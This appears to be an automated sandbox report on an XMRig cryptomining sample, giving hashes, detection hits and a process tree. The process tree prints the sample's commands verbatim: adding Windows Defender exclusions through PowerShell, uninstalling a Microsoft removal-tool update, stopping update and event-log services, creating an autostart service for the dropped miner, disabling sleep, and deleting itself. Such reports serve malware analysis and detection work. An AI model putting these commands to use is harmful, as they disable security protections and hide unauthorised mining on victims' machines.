Analysis
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max time kernel
120s -
max time network
67s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
20-12-2024 07:14
Static task
static1
Behavioral task
behavioral1
Sample
1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe
Resource
win7-20241010-en
General
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Target
1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe
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Size
5.6MB
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MD5
adf4eef92a5c017dba01be91092c9fa0
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SHA1
23f2697bd693861a9ab31d8fd06b1fa876ad9031
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SHA256
1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7
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SHA512
901e9c4c504c9197a6987d11db26098eea7f6048e5c428ca00eb6b46e7550f62b2368b192be85ce9493c3f8602183730df98ebf5845b3389ae29d2664d8e6d7a
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2348-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2348-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2288 powershell.exe 1616 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1612 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 1436 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2472 powercfg.exe 2812 powercfg.exe 2912 powercfg.exe 2844 powercfg.exe 2716 powercfg.exe 2492 powercfg.exe 2500 powercfg.exe 716 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1436 set thread context of 1980 1436 lutlgidagtja.exe 87 PID 1436 set thread context of 2348 1436 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/2348-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-42-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2348-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 332 sc.exe 2964 sc.exe 2800 sc.exe 2868 sc.exe 2780 sc.exe 2528 sc.exe 2664 sc.exe 2872 sc.exe 764 sc.exe 376 sc.exe 1760 sc.exe 2176 sc.exe 1928 sc.exe 2864 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a09d20ebae52db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2288 powershell.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 2352 1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe 1436 lutlgidagtja.exe 1616 powershell.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 1436 lutlgidagtja.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe 2348 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2288 powershell.exe Token: SeShutdownPrivilege 2472 powercfg.exe Token: SeShutdownPrivilege 2812 powercfg.exe Token: SeShutdownPrivilege 2844 powercfg.exe Token: SeShutdownPrivilege 2912 powercfg.exe Token: SeDebugPrivilege 1616 powershell.exe Token: SeShutdownPrivilege 2716 powercfg.exe Token: SeShutdownPrivilege 716 powercfg.exe Token: SeShutdownPrivilege 2492 powercfg.exe Token: SeShutdownPrivilege 2500 powercfg.exe Token: SeLockMemoryPrivilege 2348 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2820 wrote to memory of 2900 2820 cmd.exe 37 PID 2820 wrote to memory of 2900 2820 cmd.exe 37 PID 2820 wrote to memory of 2900 2820 cmd.exe 37 PID 1612 wrote to memory of 3032 1612 cmd.exe 64 PID 1612 wrote to memory of 3032 1612 cmd.exe 64 PID 1612 wrote to memory of 3032 1612 cmd.exe 64 PID 2728 wrote to memory of 2956 2728 cmd.exe 72 PID 2728 wrote to memory of 2956 2728 cmd.exe 72 PID 2728 wrote to memory of 2956 2728 cmd.exe 72 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 1980 1436 lutlgidagtja.exe 87 PID 1436 wrote to memory of 2348 1436 lutlgidagtja.exe 90 PID 1436 wrote to memory of 2348 1436 lutlgidagtja.exe 90 PID 1436 wrote to memory of 2348 1436 lutlgidagtja.exe 90 PID 1436 wrote to memory of 2348 1436 lutlgidagtja.exe 90 PID 1436 wrote to memory of 2348 1436 lutlgidagtja.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe"C:\Users\Admin\AppData\Local\Temp\1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2352 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2900
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2780
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2964
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2800
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2868
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2176
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2472
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2812
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2912
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2844
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2872
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:2528
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1928
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:332
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\1a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3032
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1436 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2956
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2664
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2864
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:764
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:376
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1760
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2716
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:716
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2500
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2492
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1980
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2348
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5adf4eef92a5c017dba01be91092c9fa0
SHA123f2697bd693861a9ab31d8fd06b1fa876ad9031
SHA2561a81dbca4d750652777a8b3f5e5ab6f3fdbef1e1c0be9d8fffcc84dc17c92fb7
SHA512901e9c4c504c9197a6987d11db26098eea7f6048e5c428ca00eb6b46e7550f62b2368b192be85ce9493c3f8602183730df98ebf5845b3389ae29d2664d8e6d7a